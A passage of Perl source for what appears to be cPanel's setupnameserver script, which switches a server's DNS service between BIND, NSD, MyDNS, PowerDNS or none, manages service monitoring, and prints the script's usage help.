disable_nsd(); disable_mydns(); disable_powerdns(); install_cpanel_rpms(); } if ( $force && $dnstype && $dnstype ne 'disabled' && $dnstype ne 'bind' && !$ENV{'CPANEL_BASE_INSTALL'} ) { print "\nChecking status of installed RPMs for $dnstype\n"; system( '/usr/local/cpanel/scripts/check_cpanel_rpms', '--fix', '--long-list', '--targets', $dnstype ); } restart_dnsadmin(); # Rebuild global cache so that the 'is_dnssec_supported' value is updated Cpanel::ServerTasks::schedule_task( ['CpDBTasks'], 5, 'build_global_cache' ); $pid_obj->remove_pid_file(); print "\nNameserver conversion complete\n"; exit 0; sub disable_bind { print "\nHalting BIND\n"; my $output = eval { $init->run_command( 'named', 'stop' ) }; print "\nDisabling BIND in init system\n"; $output = $init->run_command_for_one( 'disable', 'named' ); } sub disable_nsd { return unless Cpanel::NameServer::Utils::Enabled::valid_nameserver_type('nsd'); print "\nHalting NSD\n"; # TODO: We should not fail my $output = eval { $init->run_command( 'nsd', 'stop' ) }; print "\nDisabling NSD in init system\n"; $output = $init->run_command_for_one( 'disable', 'nsd' ); unlink('/var/cpanel/usensd') if ( -e '/var/cpanel/usensd' ); } sub disable_mydns { return unless Cpanel::NameServer::Utils::Enabled::valid_nameserver_type('mydns'); print "\nHalting MyDNS\n"; my $output = eval { $init->run_command( 'mydns', 'stop' ) }; print "\nDisabling MyDNS in init system\n"; $output = $init->run_command_for_one( 'disable', 'mydns' ); unlink('/var/cpanel/usemydns') if ( -e '/var/cpanel/usemydns' ); } sub disable_powerdns { print "\nHalting PowerDNS\n"; my $output = eval { $init->run_command( 'pdns', 'stop' ) }; print "\nDisabling PowerDNS in init system\n"; $output = $init->run_command_for_one( 'disable', 'pdns' ); unlink('/var/cpanel/usepowerdns') if ( -e '/var/cpanel/usepowerdns' ); } sub disable_none { unlink('/etc/nameddisable') if ( -e '/etc/nameddisable' ); unlink('/etc/binddisable') if ( -e '/etc/binddisable' ); unlink('/etc/nsddisable') if ( -e '/etc/nsddisable' ); unlink('/etc/mydnsdisable') if ( -e '/etc/mydnsdisable' ); unlink('/etc/powerdnsdisable') if ( -e '/etc/powerdnsdisable' ); } # Strictly speaking, touching /etc/nameddisable will cause chksrvd to skip over # restarting BIND or NSD, but this will stop it from even polling for these processes sub disable_chksrvd_monitoring { my %monitored_services = Cpanel::Chkservd::Manage::getmonitored(); return unless ( $monitored_services{'named'} ); Cpanel::Chkservd::Manage::disable('named'); local $@; eval { Cpanel::ServerTasks::queue_task( ['CpServicesTasks'], "restartsrv tailwatchd" ); }; warn if $@; return; } sub check_bind { print "Checking that BIND is installed\n"; my $rpm = Cpanel::RPM->new(); my $q = $rpm->query('bind'); if ( !$q || !$q->{'bind'} ) { print STDERR qq{Error: The 'bind' RPM is not installed on your system.\n} . qq{Run the 'yum install bind' command to install it before you run this command again.\n}; exit 1; ## no critic qw(Cpanel::NoExitsFromSubroutines) } return; } # dummy helper to use or not html sub restartservice { my $service = shift or die; # We do not taskqueue here since we want bind up right away on fresh installs my @args = $html ? ( 1, 0, \&Cpanel::Encoder::Tiny::safe_html_encode_str ) : (); return Cpanel::Services::Restart::restartservice( $service, @args ); } sub enable_bind { print "\nUninstalling unused nameservers\n"; install_cpanel_rpms($force); print "\nEnabling the BIND service...\n"; my $output = $init->run_command_for_one( 'enable', 'named' ); # Setup rndc print "\nSetting up rndc configuration\n"; my @args = $html ? ('--html') : (); system( '/usr/local/cpanel/scripts/fixrndc', '-f', '-v', @args ); print "\nStarting BIND\n"; $output = restartservice('named'); return; } sub enable_nsd { print "\nChecking that NSD is installed\n"; install_cpanel_rpms($force); system( 'touch', '/var/cpanel/usensd' ); print "\nEnabling NSD in init system\n"; my $output = $init->run_command_for_one( 'enable', 'nsd' ); print "\nStarting NSD\n"; $output = restartservice('named'); return; } sub enable_mydns { print "\nChecking that MyDNS is installed\n"; install_cpanel_rpms($force); system( 'touch', '/var/cpanel/usemydns' ); print "\nEnabling MyDNS in init system\n"; my $output = $init->run_command_for_one( 'enable', 'mydns' ); print "\nStarting MyDNS\n"; $output = restartservice('named'); print "\nImporting zones into MyDNS\n"; system( '/usr/local/cpanel/bin/servers_queue', '--plugin=MydnsTasks', 'queue', 'importmydnsdb' ); print "A process has been started to import existing DNS zones into MyDNS database.\n"; print "This may take several hours depending on the number of zones that you have.\n"; print "An email notification will be sent when the import completes.\n"; return; } sub enable_powerdns { print "\nChecking that PowerDNS is installed\n"; system( 'touch', '/var/cpanel/usepowerdns' ); install_cpanel_rpms($force); # Ensure that the dnssec.db exists my $dnssec_db_file = '/var/cpanel/pdns/dnssec.db'; if ( !-e $dnssec_db_file ) { my $rc = system( '/usr/bin/pdnsutil', 'create-bind-db', $dnssec_db_file ); if ( !$rc ) { chmod 0600, $dnssec_db_file; my $uid = getpwnam 'named'; my $gid = getgrnam 'named'; chown $uid, $gid, $dnssec_db_file; } else { warn "Error creating $dnssec_db_file: $rc"; } } print "\nEnabling PowerDNS in init system\n"; my $output = $init->run_command_for_one( 'enable', 'pdns' ); print "\nStarting PowerDNS\n"; $output = restartservice('named'); return; } sub enable_none { system( 'touch', '/etc/nameddisable' ); return; } # Both BIND and NSD are monitored by chksrvd using restartsrv_named sub enable_chksrvd_monitoring { my %monitored_services = Cpanel::Chkservd::Manage::getmonitored(); return if ( $monitored_services{'named'} ); Cpanel::Chkservd::Manage::enable('named'); local $@; eval { Cpanel::ServerTasks::queue_task( ['CpServicesTasks'], "restartsrv tailwatchd" ); }; warn if $@; unsuspend_chksrvd_monitoring(); return; } sub unsuspend_chksrvd_monitoring { return Cpanel::Chkservd::Tiny::resume_service('named'); } sub suspend_chksrvd_monitoring { return Cpanel::Chkservd::Tiny::suspend_service( 'named', 600 ); } sub install_cpanel_rpms { # Cpanel::RPM::Versions::Directory intentionally avoids installing the configured DNS service in the initial installation environment so that it will only occur once, when this script runs. # It is necessary to hide the installation environment so that the installation happens now. local $ENV{'CPANEL_BASE_INSTALL'} = 0; # This object should always be re-instantiated here changing targets means Cpanel::RPM::Versions::Directory is invalid prior to now my $versions = Cpanel::RPM::Versions::File->new( { 'only_targets' => [qw/nsd mydns powerdns/] } ); print "\nCalling RPM installer object\n"; $versions->stage(); $versions->commit_changes(); return; } sub restart_dnsadmin { if ( Cpanel::Services::Enabled::is_enabled('dnsadmin') ) { local $@; eval { Cpanel::ServerTasks::queue_task( ['CpServicesTasks'], "restartsrv dnsadmin" ); }; warn if $@; } return; } sub usage { print <<EO_USAGE; setupnameserver [options] [nameserver type] Options: --help Brief help message --force Rerun configuration routines even if the selected nameserver type is already configured --current Show the currently selected nameserver type Nameserver Types: powerdns Suggested. High performance. Supports DNSSEC. Functions only as authoritative nameserver. bind Functions as both authoritative and caching nameserver. nsd DEPRECATED. Lower memory. Functions only as authoritative nameserver. mydns DEPRECATED. Uses MySQL as backend. Functions only as authoritative nameserver. disabled Disable the local nameserver. EO_USAGE exit 0; ## no critic qw(Cpanel::NoExitsFromSubroutines) - existing sub } sub _disable_systemd_resolved_stub_resolver { my $conf_path = '/etc/systemd/resolved.conf'; return if !-e $conf_path; print "\nDisabling systemd-resolved stub resolver\n"; # I wanted to use Config::Simple to preserve comments, but it's not available on fresh install my $conf = Config::Tiny->read($conf_path) || return; # see `man resolved.conf` $conf->{'Resolve'} //= {}; $conf->{'Resolve'}->{'DNSStubListener'} = 'no'; $conf->write($conf_path); Cpanel::RestartSrv::Systemd::restart_via_systemd('systemd-resolved'); return; }
Close